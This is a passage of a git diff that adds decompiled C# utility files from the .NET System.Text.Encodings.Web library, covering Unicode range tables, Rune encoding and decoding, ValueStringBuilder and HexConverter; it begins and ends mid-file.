'\u1dc0', '\u1dff'); + + public static UnicodeRange LatinExtendedAdditional => _u1E00 ?? CreateRange(ref _u1E00, 'Ḁ', 'ỿ'); + + public static UnicodeRange GreekExtended => _u1F00 ?? CreateRange(ref _u1F00, 'ἀ', '\u1fff'); + + public static UnicodeRange GeneralPunctuation => _u2000 ?? CreateRange(ref _u2000, '\u2000', '\u206f'); + + public static UnicodeRange SuperscriptsandSubscripts => _u2070 ?? CreateRange(ref _u2070, '⁰', '\u209f'); + + public static UnicodeRange CurrencySymbols => _u20A0 ?? CreateRange(ref _u20A0, '₠', '\u20cf'); + + public static UnicodeRange CombiningDiacriticalMarksforSymbols => _u20D0 ?? CreateRange(ref _u20D0, '\u20d0', '\u20ff'); + + public static UnicodeRange LetterlikeSymbols => _u2100 ?? CreateRange(ref _u2100, '℀', '⅏'); + + public static UnicodeRange NumberForms => _u2150 ?? CreateRange(ref _u2150, '⅐', '\u218f'); + + public static UnicodeRange Arrows => _u2190 ?? CreateRange(ref _u2190, '←', '⇿'); + + public static UnicodeRange MathematicalOperators => _u2200 ?? CreateRange(ref _u2200, '∀', '⋿'); + + public static UnicodeRange MiscellaneousTechnical => _u2300 ?? CreateRange(ref _u2300, '⌀', '⏿'); + + public static UnicodeRange ControlPictures => _u2400 ?? CreateRange(ref _u2400, '␀', '\u243f'); + + public static UnicodeRange OpticalCharacterRecognition => _u2440 ?? CreateRange(ref _u2440, '⑀', '\u245f'); + + public static UnicodeRange EnclosedAlphanumerics => _u2460 ?? CreateRange(ref _u2460, '①', '⓿'); + + public static UnicodeRange BoxDrawing => _u2500 ?? CreateRange(ref _u2500, '─', '╿'); + + public static UnicodeRange BlockElements => _u2580 ?? CreateRange(ref _u2580, '▀', '▟'); + + public static UnicodeRange GeometricShapes => _u25A0 ?? CreateRange(ref _u25A0, '■', '◿'); + + public static UnicodeRange MiscellaneousSymbols => _u2600 ?? CreateRange(ref _u2600, '☀', '⛿'); + + public static UnicodeRange Dingbats => _u2700 ?? CreateRange(ref _u2700, '✀', '➿'); + + public static UnicodeRange MiscellaneousMathematicalSymbolsA => _u27C0 ?? CreateRange(ref _u27C0, '⟀', '⟯'); + + public static UnicodeRange SupplementalArrowsA => _u27F0 ?? CreateRange(ref _u27F0, '⟰', '⟿'); + + public static UnicodeRange BraillePatterns => _u2800 ?? CreateRange(ref _u2800, '⠀', '⣿'); + + public static UnicodeRange SupplementalArrowsB => _u2900 ?? CreateRange(ref _u2900, '⤀', '⥿'); + + public static UnicodeRange MiscellaneousMathematicalSymbolsB => _u2980 ?? CreateRange(ref _u2980, '⦀', '⧿'); + + public static UnicodeRange SupplementalMathematicalOperators => _u2A00 ?? CreateRange(ref _u2A00, '⨀', '⫿'); + + public static UnicodeRange MiscellaneousSymbolsandArrows => _u2B00 ?? CreateRange(ref _u2B00, '⬀', '⯿'); + + public static UnicodeRange Glagolitic => _u2C00 ?? CreateRange(ref _u2C00, 'Ⰰ', 'ⱟ'); + + public static UnicodeRange LatinExtendedC => _u2C60 ?? CreateRange(ref _u2C60, 'Ⱡ', 'Ɀ'); + + public static UnicodeRange Coptic => _u2C80 ?? CreateRange(ref _u2C80, 'Ⲁ', '⳿'); + + public static UnicodeRange GeorgianSupplement => _u2D00 ?? CreateRange(ref _u2D00, 'ⴀ', '\u2d2f'); + + public static UnicodeRange Tifinagh => _u2D30 ?? CreateRange(ref _u2D30, 'ⴰ', '\u2d7f'); + + public static UnicodeRange EthiopicExtended => _u2D80 ?? CreateRange(ref _u2D80, 'ⶀ', '\u2ddf'); + + public static UnicodeRange CyrillicExtendedA => _u2DE0 ?? CreateRange(ref _u2DE0, '\u2de0', '\u2dff'); + + public static UnicodeRange SupplementalPunctuation => _u2E00 ?? CreateRange(ref _u2E00, '⸀', '\u2e7f'); + + public static UnicodeRange CjkRadicalsSupplement => _u2E80 ?? CreateRange(ref _u2E80, '⺀', '\u2eff'); + + public static UnicodeRange KangxiRadicals => _u2F00 ?? CreateRange(ref _u2F00, '⼀', '\u2fdf'); + + public static UnicodeRange IdeographicDescriptionCharacters => _u2FF0 ?? CreateRange(ref _u2FF0, '⿰', '⿿'); + + public static UnicodeRange CjkSymbolsandPunctuation => _u3000 ?? CreateRange(ref _u3000, '\u3000', '〿'); + + public static UnicodeRange Hiragana => _u3040 ?? CreateRange(ref _u3040, '\u3040', 'ゟ'); + + public static UnicodeRange Katakana => _u30A0 ?? CreateRange(ref _u30A0, '゠', 'ヿ'); + + public static UnicodeRange Bopomofo => _u3100 ?? CreateRange(ref _u3100, '\u3100', 'ㄯ'); + + public static UnicodeRange HangulCompatibilityJamo => _u3130 ?? CreateRange(ref _u3130, '\u3130', '\u318f'); + + public static UnicodeRange Kanbun => _u3190 ?? CreateRange(ref _u3190, '㆐', '㆟'); + + public static UnicodeRange BopomofoExtended => _u31A0 ?? CreateRange(ref _u31A0, 'ㆠ', 'ㆿ'); + + public static UnicodeRange CjkStrokes => _u31C0 ?? CreateRange(ref _u31C0, '㇀', '㇯'); + + public static UnicodeRange KatakanaPhoneticExtensions => _u31F0 ?? CreateRange(ref _u31F0, 'ㇰ', 'ㇿ'); + + public static UnicodeRange EnclosedCjkLettersandMonths => _u3200 ?? CreateRange(ref _u3200, '㈀', '㋿'); + + public static UnicodeRange CjkCompatibility => _u3300 ?? CreateRange(ref _u3300, '㌀', '㏿'); + + public static UnicodeRange CjkUnifiedIdeographsExtensionA => _u3400 ?? CreateRange(ref _u3400, '㐀', '䶿'); + + public static UnicodeRange YijingHexagramSymbols => _u4DC0 ?? CreateRange(ref _u4DC0, '䷀', '䷿'); + + public static UnicodeRange CjkUnifiedIdeographs => _u4E00 ?? CreateRange(ref _u4E00, '一', '鿿'); + + public static UnicodeRange YiSyllables => _uA000 ?? CreateRange(ref _uA000, 'ꀀ', '\ua48f'); + + public static UnicodeRange YiRadicals => _uA490 ?? CreateRange(ref _uA490, '꒐', '\ua4cf'); + + public static UnicodeRange Lisu => _uA4D0 ?? CreateRange(ref _uA4D0, 'ꓐ', '꓿'); + + public static UnicodeRange Vai => _uA500 ?? CreateRange(ref _uA500, 'ꔀ', '\ua63f'); + + public static UnicodeRange CyrillicExtendedB => _uA640 ?? CreateRange(ref _uA640, 'Ꙁ', '\ua69f'); + + public static UnicodeRange Bamum => _uA6A0 ?? CreateRange(ref _uA6A0, 'ꚠ', '\ua6ff'); + + public static UnicodeRange ModifierToneLetters => _uA700 ?? CreateRange(ref _uA700, '\ua700', 'ꜟ'); + + public static UnicodeRange LatinExtendedD => _uA720 ?? CreateRange(ref _uA720, '\ua720', 'ꟿ'); + + public static UnicodeRange SylotiNagri => _uA800 ?? CreateRange(ref _uA800, 'ꠀ', '\ua82f'); + + public static UnicodeRange CommonIndicNumberForms => _uA830 ?? CreateRange(ref _uA830, '꠰', '\ua83f'); + + public static UnicodeRange Phagspa => _uA840 ?? CreateRange(ref _uA840, 'ꡀ', '\ua87f'); + + public static UnicodeRange Saurashtra => _uA880 ?? CreateRange(ref _uA880, '\ua880', '\ua8df'); + + public static UnicodeRange DevanagariExtended => _uA8E0 ?? CreateRange(ref _uA8E0, '\ua8e0', '\ua8ff'); + + public static UnicodeRange KayahLi => _uA900 ?? CreateRange(ref _uA900, '꤀', '꤯'); + + public static UnicodeRange Rejang => _uA930 ?? CreateRange(ref _uA930, 'ꤰ', '꥟'); + + public static UnicodeRange HangulJamoExtendedA => _uA960 ?? CreateRange(ref _uA960, 'ꥠ', '\ua97f'); + + public static UnicodeRange Javanese => _uA980 ?? CreateRange(ref _uA980, '\ua980', '꧟'); + + public static UnicodeRange MyanmarExtendedB => _uA9E0 ?? CreateRange(ref _uA9E0, 'ꧠ', '\ua9ff'); + + public static UnicodeRange Cham => _uAA00 ?? CreateRange(ref _uAA00, 'ꨀ', '꩟'); + + public static UnicodeRange MyanmarExtendedA => _uAA60 ?? CreateRange(ref _uAA60, 'ꩠ', 'ꩿ'); + + public static UnicodeRange TaiViet => _uAA80 ?? CreateRange(ref _uAA80, 'ꪀ', '꫟'); + + public static UnicodeRange MeeteiMayekExtensions => _uAAE0 ?? CreateRange(ref _uAAE0, 'ꫠ', '\uaaff'); + + public static UnicodeRange EthiopicExtendedA => _uAB00 ?? CreateRange(ref _uAB00, '\uab00', '\uab2f'); + + public static UnicodeRange LatinExtendedE => _uAB30 ?? CreateRange(ref _uAB30, 'ꬰ', '\uab6f'); + + public static UnicodeRange CherokeeSupplement => _uAB70 ?? CreateRange(ref _uAB70, 'ꭰ', 'ꮿ'); + + public static UnicodeRange MeeteiMayek => _uABC0 ?? CreateRange(ref _uABC0, 'ꯀ', '\uabff'); + + public static UnicodeRange HangulSyllables => _uAC00 ?? CreateRange(ref _uAC00, '가', '\ud7af'); + + public static UnicodeRange HangulJamoExtendedB => _uD7B0 ?? CreateRange(ref _uD7B0, 'ힰ', '\ud7ff'); + + public static UnicodeRange CjkCompatibilityIdeographs => _uF900 ?? CreateRange(ref _uF900, '豈', '\ufaff'); + + public static UnicodeRange AlphabeticPresentationForms => _uFB00 ?? CreateRange(ref _uFB00, 'ff', 'ﭏ'); + + public static UnicodeRange ArabicPresentationFormsA => _uFB50 ?? CreateRange(ref _uFB50, 'ﭐ', '﷿'); + + public static UnicodeRange VariationSelectors => _uFE00 ?? CreateRange(ref _uFE00, '\ufe00', '\ufe0f'); + + public static UnicodeRange VerticalForms => _uFE10 ?? CreateRange(ref _uFE10, '︐', '\ufe1f'); + + public static UnicodeRange CombiningHalfMarks => _uFE20 ?? CreateRange(ref _uFE20, '\ufe20', '\ufe2f'); + + public static UnicodeRange CjkCompatibilityForms => _uFE30 ?? CreateRange(ref _uFE30, '︰', '\ufe4f'); + + public static UnicodeRange SmallFormVariants => _uFE50 ?? CreateRange(ref _uFE50, '﹐', '\ufe6f'); + + public static UnicodeRange ArabicPresentationFormsB => _uFE70 ?? CreateRange(ref _uFE70, 'ﹰ', '\ufeff'); + + public static UnicodeRange HalfwidthandFullwidthForms => _uFF00 ?? CreateRange(ref _uFF00, '\uff00', '\uffef'); + + public static UnicodeRange Specials => _uFFF0 ?? CreateRange(ref _uFFF0, '\ufff0', '\uffff'); + + [MethodImpl(MethodImplOptions.NoInlining)] + private static UnicodeRange CreateEmptyRange([NotNull] ref UnicodeRange range) + { + Volatile.Write(ref range, new UnicodeRange(0, 0)); + return range; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static UnicodeRange CreateRange([NotNull] ref UnicodeRange range, char first, char last) + { + Volatile.Write(ref range, UnicodeRange.Create(first, last)); + return range; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text/Rune.cs b/decompiled/Libraries/system.text.encodings.web/System.Text/Rune.cs new file mode 100644 index 0000000..a5c985c --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text/Rune.cs @@ -0,0 +1,298 @@ +using System.Buffers; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Text.Encodings.Web; + +namespace System.Text; + +internal readonly struct Rune : IEquatable +{ + private const int MaxUtf16CharsPerRune = 2; + + private const char HighSurrogateStart = '\ud800'; + + private const char LowSurrogateStart = '\udc00'; + + private const int HighSurrogateRange = 1023; + + private readonly uint _value; + + public bool IsAscii => System.Text.UnicodeUtility.IsAsciiCodePoint(_value); + + public bool IsBmp => System.Text.UnicodeUtility.IsBmpCodePoint(_value); + + public static Rune ReplacementChar => UnsafeCreate(65533u); + + public int Utf16SequenceLength => System.Text.UnicodeUtility.GetUtf16SequenceLength(_value); + + public int Value => (int)_value; + + public Rune(uint value) + { + if (!System.Text.UnicodeUtility.IsValidUnicodeScalar(value)) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.value); + } + _value = value; + } + + public Rune(int value) + : this((uint)value) + { + } + + private Rune(uint scalarValue, bool _) + { + _value = scalarValue; + } + + public static bool operator ==(Rune left, Rune right) + { + return left._value == right._value; + } + + public static bool operator !=(Rune left, Rune right) + { + return left._value != right._value; + } + + public static bool IsControl(Rune value) + { + return ((value._value + 1) & 0xFFFFFF7Fu) <= 32; + } + + public static OperationStatus DecodeFromUtf16(ReadOnlySpan source, out Rune result, out int charsConsumed) + { + if (!source.IsEmpty) + { + char c = source[0]; + if (TryCreate(c, out result)) + { + charsConsumed = 1; + return OperationStatus.Done; + } + if (1u < (uint)source.Length) + { + char lowSurrogate = source[1]; + if (TryCreate(c, lowSurrogate, out result)) + { + charsConsumed = 2; + return OperationStatus.Done; + } + } + else if (char.IsHighSurrogate(c)) + { + goto IL_004c; + } + charsConsumed = 1; + result = ReplacementChar; + return OperationStatus.InvalidData; + } + goto IL_004c; + IL_004c: + charsConsumed = source.Length; + result = ReplacementChar; + return OperationStatus.NeedMoreData; + } + + public static OperationStatus DecodeFromUtf8(ReadOnlySpan source, out Rune result, out int bytesConsumed) + { + int num = 0; + uint num2; + if ((uint)num < (uint)source.Length) + { + num2 = source[num]; + if (System.Text.UnicodeUtility.IsAsciiCodePoint(num2)) + { + goto IL_0021; + } + if (System.Text.UnicodeUtility.IsInRangeInclusive(num2, 194u, 244u)) + { + num2 = num2 - 194 << 6; + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_0163; + } + int num3 = (sbyte)source[num]; + if (num3 < -64) + { + num2 += (uint)num3; + num2 += 128; + num2 += 128; + if (num2 < 2048) + { + goto IL_0021; + } + if (System.Text.UnicodeUtility.IsInRangeInclusive(num2, 2080u, 3343u) && !System.Text.UnicodeUtility.IsInRangeInclusive(num2, 2912u, 2943u) && !System.Text.UnicodeUtility.IsInRangeInclusive(num2, 3072u, 3087u)) + { + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_0163; + } + num3 = (sbyte)source[num]; + if (num3 < -64) + { + num2 <<= 6; + num2 += (uint)num3; + num2 += 128; + num2 -= 131072; + if (num2 > 65535) + { + num++; + if ((uint)num >= (uint)source.Length) + { + goto IL_0163; + } + num3 = (sbyte)source[num]; + if (num3 >= -64) + { + goto IL_0153; + } + num2 <<= 6; + num2 += (uint)num3; + num2 += 128; + num2 -= 4194304; + } + goto IL_0021; + } + } + } + } + else + { + num = 1; + } + goto IL_0153; + } + goto IL_0163; + IL_0021: + bytesConsumed = num + 1; + result = UnsafeCreate(num2); + return OperationStatus.Done; + IL_0163: + bytesConsumed = num; + result = ReplacementChar; + return OperationStatus.NeedMoreData; + IL_0153: + bytesConsumed = num; + result = ReplacementChar; + return OperationStatus.InvalidData; + } + + public override bool Equals([NotNullWhen(true)] object obj) + { + if (obj is Rune other) + { + return Equals(other); + } + return false; + } + + public bool Equals(Rune other) + { + return this == other; + } + + public override int GetHashCode() + { + return Value; + } + + public static bool TryCreate(char ch, out Rune result) + { + if (!System.Text.UnicodeUtility.IsSurrogateCodePoint(ch)) + { + result = UnsafeCreate(ch); + return true; + } + result = default(Rune); + return false; + } + + public static bool TryCreate(char highSurrogate, char lowSurrogate, out Rune result) + { + uint num = (uint)(highSurrogate - 55296); + uint num2 = (uint)(lowSurrogate - 56320); + if ((num | num2) <= 1023) + { + result = UnsafeCreate((uint)((int)(num << 10) + (lowSurrogate - 56320) + 65536)); + return true; + } + result = default(Rune); + return false; + } + + public bool TryEncodeToUtf16(Span destination, out int charsWritten) + { + if (destination.Length >= 1) + { + if (IsBmp) + { + destination[0] = (char)_value; + charsWritten = 1; + return true; + } + if (destination.Length >= 2) + { + System.Text.UnicodeUtility.GetUtf16SurrogatesFromSupplementaryPlaneScalar(_value, out destination[0], out destination[1]); + charsWritten = 2; + return true; + } + } + charsWritten = 0; + return false; + } + + public bool TryEncodeToUtf8(Span destination, out int bytesWritten) + { + if (destination.Length >= 1) + { + if (IsAscii) + { + destination[0] = (byte)_value; + bytesWritten = 1; + return true; + } + if (destination.Length >= 2) + { + if (_value <= 2047) + { + destination[0] = (byte)(_value + 12288 >> 6); + destination[1] = (byte)((_value & 0x3F) + 128); + bytesWritten = 2; + return true; + } + if (destination.Length >= 3) + { + if (_value <= 65535) + { + destination[0] = (byte)(_value + 917504 >> 12); + destination[1] = (byte)(((_value & 0xFC0) >> 6) + 128); + destination[2] = (byte)((_value & 0x3F) + 128); + bytesWritten = 3; + return true; + } + if (destination.Length >= 4) + { + destination[0] = (byte)(_value + 62914560 >> 18); + destination[1] = (byte)(((_value & 0x3F000) >> 12) + 128); + destination[2] = (byte)(((_value & 0xFC0) >> 6) + 128); + destination[3] = (byte)((_value & 0x3F) + 128); + bytesWritten = 4; + return true; + } + } + } + } + bytesWritten = 0; + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static Rune UnsafeCreate(uint scalarValue) + { + return new Rune(scalarValue, _: false); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text/UnicodeDebug.cs b/decompiled/Libraries/system.text.encodings.web/System.Text/UnicodeDebug.cs new file mode 100644 index 0000000..0d9fee0 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text/UnicodeDebug.cs @@ -0,0 +1,50 @@ +using System.Diagnostics; + +namespace System.Text; + +internal static class UnicodeDebug +{ + [Conditional("DEBUG")] + internal static void AssertIsBmpCodePoint(uint codePoint) + { + System.Text.UnicodeUtility.IsBmpCodePoint(codePoint); + } + + [Conditional("DEBUG")] + internal static void AssertIsHighSurrogateCodePoint(uint codePoint) + { + System.Text.UnicodeUtility.IsHighSurrogateCodePoint(codePoint); + } + + [Conditional("DEBUG")] + internal static void AssertIsLowSurrogateCodePoint(uint codePoint) + { + System.Text.UnicodeUtility.IsLowSurrogateCodePoint(codePoint); + } + + [Conditional("DEBUG")] + internal static void AssertIsValidCodePoint(uint codePoint) + { + System.Text.UnicodeUtility.IsValidCodePoint(codePoint); + } + + [Conditional("DEBUG")] + internal static void AssertIsValidScalar(uint scalarValue) + { + System.Text.UnicodeUtility.IsValidUnicodeScalar(scalarValue); + } + + [Conditional("DEBUG")] + internal static void AssertIsValidSupplementaryPlaneScalar(uint scalarValue) + { + if (System.Text.UnicodeUtility.IsValidUnicodeScalar(scalarValue)) + { + System.Text.UnicodeUtility.IsBmpCodePoint(scalarValue); + } + } + + private static string ToHexString(uint codePoint) + { + return FormattableString.Invariant($"U+{codePoint:X4}"); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text/UnicodeUtility.cs b/decompiled/Libraries/system.text.encodings.web/System.Text/UnicodeUtility.cs new file mode 100644 index 0000000..097d602 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text/UnicodeUtility.cs @@ -0,0 +1,91 @@ +using System.Runtime.CompilerServices; + +namespace System.Text; + +internal static class UnicodeUtility +{ + public const uint ReplacementChar = 65533u; + + public static int GetPlane(uint codePoint) + { + return (int)(codePoint >> 16); + } + + public static uint GetScalarFromUtf16SurrogatePair(uint highSurrogateCodePoint, uint lowSurrogateCodePoint) + { + return (highSurrogateCodePoint << 10) + lowSurrogateCodePoint - 56613888; + } + + public static int GetUtf16SequenceLength(uint value) + { + value -= 65536; + value += 33554432; + value >>= 24; + return (int)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void GetUtf16SurrogatesFromSupplementaryPlaneScalar(uint value, out char highSurrogateCodePoint, out char lowSurrogateCodePoint) + { + highSurrogateCodePoint = (char)(value + 56557568 >> 10); + lowSurrogateCodePoint = (char)((value & 0x3FF) + 56320); + } + + public static int GetUtf8SequenceLength(uint value) + { + int num = (int)(value - 2048) >> 31; + value ^= 0xF800; + value -= 63616; + value += 67108864; + value >>= 24; + return (int)value + num * 2; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsAsciiCodePoint(uint value) + { + return value <= 127; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsBmpCodePoint(uint value) + { + return value <= 65535; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHighSurrogateCodePoint(uint value) + { + return IsInRangeInclusive(value, 55296u, 56319u); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsInRangeInclusive(uint value, uint lowerBound, uint upperBound) + { + return value - lowerBound <= upperBound - lowerBound; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsLowSurrogateCodePoint(uint value) + { + return IsInRangeInclusive(value, 56320u, 57343u); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsSurrogateCodePoint(uint value) + { + return IsInRangeInclusive(value, 55296u, 57343u); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidCodePoint(uint codePoint) + { + return codePoint <= 1114111; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidUnicodeScalar(uint value) + { + return ((value - 1114112) ^ 0xD800) >= 4293855232u; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text/ValueStringBuilder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text/ValueStringBuilder.cs new file mode 100644 index 0000000..71e0c79 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text/ValueStringBuilder.cs @@ -0,0 +1,271 @@ +using System.Buffers; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Text; + +internal ref struct ValueStringBuilder +{ + private char[] _arrayToReturnToPool; + + private Span _chars; + + private int _pos; + + public int Length + { + get + { + return _pos; + } + set + { + _pos = value; + } + } + + public int Capacity => _chars.Length; + + public ref char this[int index] => ref _chars[index]; + + public Span RawChars => _chars; + + public ValueStringBuilder(Span initialBuffer) + { + _arrayToReturnToPool = null; + _chars = initialBuffer; + _pos = 0; + } + + public ValueStringBuilder(int initialCapacity) + { + _arrayToReturnToPool = ArrayPool.Shared.Rent(initialCapacity); + _chars = _arrayToReturnToPool; + _pos = 0; + } + + public void EnsureCapacity(int capacity) + { + if ((uint)capacity > (uint)_chars.Length) + { + Grow(capacity - _pos); + } + } + + public ref char GetPinnableReference() + { + return ref MemoryMarshal.GetReference(_chars); + } + + public ref char GetPinnableReference(bool terminate) + { + if (terminate) + { + EnsureCapacity(Length + 1); + _chars[Length] = '\0'; + } + return ref MemoryMarshal.GetReference(_chars); + } + + public override string ToString() + { + string result = _chars.Slice(0, _pos).ToString(); + Dispose(); + return result; + } + + public ReadOnlySpan AsSpan(bool terminate) + { + if (terminate) + { + EnsureCapacity(Length + 1); + _chars[Length] = '\0'; + } + return _chars.Slice(0, _pos); + } + + public ReadOnlySpan AsSpan() + { + return _chars.Slice(0, _pos); + } + + public ReadOnlySpan AsSpan(int start) + { + return _chars.Slice(start, _pos - start); + } + + public ReadOnlySpan AsSpan(int start, int length) + { + return _chars.Slice(start, length); + } + + public bool TryCopyTo(Span destination, out int charsWritten) + { + if (_chars.Slice(0, _pos).TryCopyTo(destination)) + { + charsWritten = _pos; + Dispose(); + return true; + } + charsWritten = 0; + Dispose(); + return false; + } + + public void Insert(int index, char value, int count) + { + if (_pos > _chars.Length - count) + { + Grow(count); + } + int length = _pos - index; + _chars.Slice(index, length).CopyTo(_chars.Slice(index + count)); + _chars.Slice(index, count).Fill(value); + _pos += count; + } + + public void Insert(int index, string s) + { + if (s != null) + { + int length = s.Length; + if (_pos > _chars.Length - length) + { + Grow(length); + } + int length2 = _pos - index; + _chars.Slice(index, length2).CopyTo(_chars.Slice(index + length)); + s.AsSpan().CopyTo(_chars.Slice(index)); + _pos += length; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Append(char c) + { + int pos = _pos; + Span chars = _chars; + if ((uint)pos < (uint)chars.Length) + { + chars[pos] = c; + _pos = pos + 1; + } + else + { + GrowAndAppend(c); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Append(string s) + { + if (s != null) + { + int pos = _pos; + if (s.Length == 1 && (uint)pos < (uint)_chars.Length) + { + _chars[pos] = s[0]; + _pos = pos + 1; + } + else + { + AppendSlow(s); + } + } + } + + private void AppendSlow(string s) + { + int pos = _pos; + if (pos > _chars.Length - s.Length) + { + Grow(s.Length); + } + s.AsSpan().CopyTo(_chars.Slice(pos)); + _pos += s.Length; + } + + public void Append(char c, int count) + { + if (_pos > _chars.Length - count) + { + Grow(count); + } + Span span = _chars.Slice(_pos, count); + for (int i = 0; i < span.Length; i++) + { + span[i] = c; + } + _pos += count; + } + + public unsafe void Append(char* value, int length) + { + int pos = _pos; + if (pos > _chars.Length - length) + { + Grow(length); + } + Span span = _chars.Slice(_pos, length); + for (int i = 0; i < span.Length; i++) + { + span[i] = *(value++); + } + _pos += length; + } + + public void Append(ReadOnlySpan value) + { + int pos = _pos; + if (pos > _chars.Length - value.Length) + { + Grow(value.Length); + } + value.CopyTo(_chars.Slice(_pos)); + _pos += value.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Span AppendSpan(int length) + { + int pos = _pos; + if (pos > _chars.Length - length) + { + Grow(length); + } + _pos = pos + length; + return _chars.Slice(pos, length); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void GrowAndAppend(char c) + { + Grow(1); + Append(c); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void Grow(int additionalCapacityBeyondPos) + { + int minimumLength = (int)Math.Max((uint)(_pos + additionalCapacityBeyondPos), Math.Min((uint)(_chars.Length * 2), 2147483591u)); + char[] array = ArrayPool.Shared.Rent(minimumLength); + _chars.Slice(0, _pos).CopyTo(array); + char[] arrayToReturnToPool = _arrayToReturnToPool; + _chars = (_arrayToReturnToPool = array); + if (arrayToReturnToPool != null) + { + ArrayPool.Shared.Return(arrayToReturnToPool); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Dispose() + { + char[] arrayToReturnToPool = _arrayToReturnToPool; + this = default(System.Text.ValueStringBuilder); + if (arrayToReturnToPool != null) + { + ArrayPool.Shared.Return(arrayToReturnToPool); + } + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System/HexConverter.cs b/decompiled/Libraries/system.text.encodings.web/System/HexConverter.cs new file mode 100644 index 0000000..604f4de --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System/HexConverter.cs @@ -0,0 +1,219 @@ +using System.Runtime.CompilerServices; + +namespace System; + +internal static class HexConverter +{ + public enum Casing : uint + { + Upper = 0u, + Lower = 8224u + } + + public static ReadOnlySpan CharToHexLookup => new byte[256] + { + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 0, 1, + 2, 3, 4, 5, 6, 7, 8, 9, 255, 255, + 255, 255, 255, 255, 255, 10, 11, 12, 13, 14, + 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 10, 11, 12, + 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255 + }; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ToBytesBuffer(byte value, Span buffer, int startingIndex = 0, Casing casing = Casing.Upper) + { + uint num = (uint)(((value & 0xF0) << 4) + (value & 0xF) - 35209); + uint num2 = ((((0 - num) & 0x7070) >> 4) + num + 47545) | (uint)casing; + buffer[startingIndex + 1] = (byte)num2; + buffer[startingIndex] = (byte)(num2 >> 8); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ToCharsBuffer(byte value, Span buffer, int startingIndex = 0, Casing casing = Casing.Upper) + { + uint num = (uint)(((value & 0xF0) << 4) + (value & 0xF) - 35209); + uint num2 = ((((0 - num) & 0x7070) >> 4) + num + 47545) | (uint)casing; + buffer[startingIndex + 1] = (char)(num2 & 0xFF); + buffer[startingIndex] = (char)(num2 >> 8); + } + + public static void EncodeToUtf16(ReadOnlySpan bytes, Span chars, Casing casing = Casing.Upper) + { + for (int i = 0; i < bytes.Length; i++) + { + ToCharsBuffer(bytes[i], chars, i * 2, casing); + } + } + + public static string ToString(ReadOnlySpan bytes, Casing casing = Casing.Upper) + { + Span span = ((bytes.Length <= 16) ? stackalloc char[bytes.Length * 2] : new char[bytes.Length * 2].AsSpan()); + Span buffer = span; + int num = 0; + ReadOnlySpan readOnlySpan = bytes; + for (int i = 0; i < readOnlySpan.Length; i++) + { + byte value = readOnlySpan[i]; + ToCharsBuffer(value, buffer, num, casing); + num += 2; + } + return buffer.ToString(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static char ToCharUpper(int value) + { + value &= 0xF; + value += 48; + if (value > 57) + { + value += 7; + } + return (char)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static char ToCharLower(int value) + { + value &= 0xF; + value += 48; + if (value > 57) + { + value += 39; + } + return (char)value; + } + + public static bool TryDecodeFromUtf16(ReadOnlySpan chars, Span bytes) + { + int 